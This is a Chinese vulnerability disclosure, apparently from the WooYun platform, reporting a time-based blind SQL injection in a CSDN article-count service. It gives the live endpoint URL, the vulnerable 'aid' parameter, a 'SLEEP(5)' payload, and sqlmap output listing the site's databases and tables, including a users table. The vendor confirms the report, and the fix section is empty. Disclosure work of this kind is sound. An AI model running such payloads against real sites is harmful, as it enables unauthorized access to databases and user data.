漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2014-08-20： 细节已通知厂商并且等待厂商处理中
2014-08-20： 厂商已经确认，细节仅向厂商公开
2014-08-30： 细节向核心白帽子及相关领域专家公开
2014-09-09： 细节向普通白帽子公开
2014-09-19： 细节向实习白帽子公开
2014-10-04： 细节向公众公开
简要描述：
时间盲注
详细说明：
注入点：
http://ptcms.csdn.net/article/service/article_count?preview=1&aid=2821253&jsonpcallback=jQuery1910565352892735973_1408438433889&_=1408438433890
注入参数：aid
payload：
aid=2821253 AND SLEEP(5)
漏洞证明：
库：
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: aid
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: preview=1&aid=2821253 AND SLEEP(5)&jsonpcallback=jQuery1910565352892735973_1408438433889&_=1408438433890
---
[17:46:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
available databases [2]:
[*] information_schema
[*] ptcms
ptcms的表：
Database: ptcms
[21 tables]
+---------------------------+
| ac_action_log |
| cc_comment |
| cc_stopwords |
| cc_thread |
| cc_xlog_black_user |
| cms_like |
| news_articles |
| news_articles_click |
| news_source |
| su_day_report |
| su_url |
| su_visis_log |
| subject_app_view_location |
| subject_atlas_picture |
| subject_data_source |
| subject_data_source_catch |
| subject_page |
| subject_page_content |
| subject_region |
| users |
| vote |
+---------------------------+
修复方案：
。。
版权声明：转载请注明来源 greg.wu@乌云
>
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：5
确认时间：2014-08-20 13:21
厂商回复：
尽快修复，多谢。
最新状态：
暂无